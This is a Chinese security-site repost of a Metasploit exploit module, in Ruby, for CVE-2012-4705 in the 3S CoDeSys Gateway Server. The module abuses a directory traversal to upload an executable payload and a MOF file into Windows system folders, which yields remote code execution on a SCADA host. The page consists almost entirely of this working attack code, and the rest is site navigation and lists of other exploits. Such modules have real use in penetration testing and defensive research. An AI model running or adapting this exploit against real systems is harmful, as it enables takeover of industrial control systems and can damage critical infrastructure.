首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SCADA 3S CoDeSys Gateway Server Directory Traversal
来源:metasploit.com 作者:Sanchez 发布时间:2013-03-08  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
			'Description'    => %q{
					This module exploits a directory traversal vulnerability that allows arbitrary
				file creation, which can be used to execute a mof file in order to gain remote
				execution within the SCADA system.
			},
			'Author'         =>
				[
					'Enrique Sanchez <esanchez[at]accuvant.com>'
				],
			'License'        => 'MSF_LICENSE',
			'References'     =>
				[
					['CVE', '2012-4705'],
					['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
				],
			'DisclosureDate' => 'Feb 02 2013',
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
				],
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(1211),
			], self.class)
	end

	##
	# upload_file(remote_filepath, remote_filename, local_filedata)
	#
	# remote_filepath: Remote filepath where the file will be uploaded
	# remote_filename: Remote name of the file to be executed ie. boot.ini
	# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
	def upload_file(remote_filepath, remote_filename, local_filedata = null)
		magic_code = "\xdd\xdd"
		opcode = [6].pack('L')

		# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
		file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
		#print_debug("File to upload: #{file}")
		pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
		#print_debug(pkt_size)

		# Magic_code  + packing + size
		pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

		tmp_pkt = opcode << file
		tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
		pkt << tmp_pkt

		print_status("Starting upload of file #{remote_filename}")
		connect
		sock.put(pkt)
		disconnect

		print_status("File uploaded")
	end

	def exploit
		print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")

		# We create an exe payload, we have to get remote execution in 2 steps
		exe = generate_payload_exe
		exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
		upload_file("windows\\system32\\", exe_name, exe)

		# We create the mof file and upload (second step)
		mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
		mof = generate_mof(mof_name, exe_name)
		upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)

		print_status("Everything is ready, waiting for a session ... ")
		handler

		#Taken from the spooler exploit writen byt jduck and HDMoore
		cnt = 1
		while session_created? == false and cnt < 25
			::IO.select(nil, nil, nil, 0.25)
			cnt += 1
		end
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Firebird Relational Database C
·VLC Player 2.0.x (.mp3) <= Mem
·ALLMediaServer 0.94 SEH Overfl
·Windows Media Player 10.0.0.38
·Squid 3.x Denial Of Service
·Ubuntu 12.10 64bit Local Root
·Varnish 2.1.5 / 3.0.3 Denial O
·Fedora Ubuntu kernel 3.3-3.8 L
·Samsung TV Denial Of Service
·Honeywell HSC Remote Deployer
·SIP Witch 0.7.4 Denial Of Serv
·Microsoft Office PowerPoint 20
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved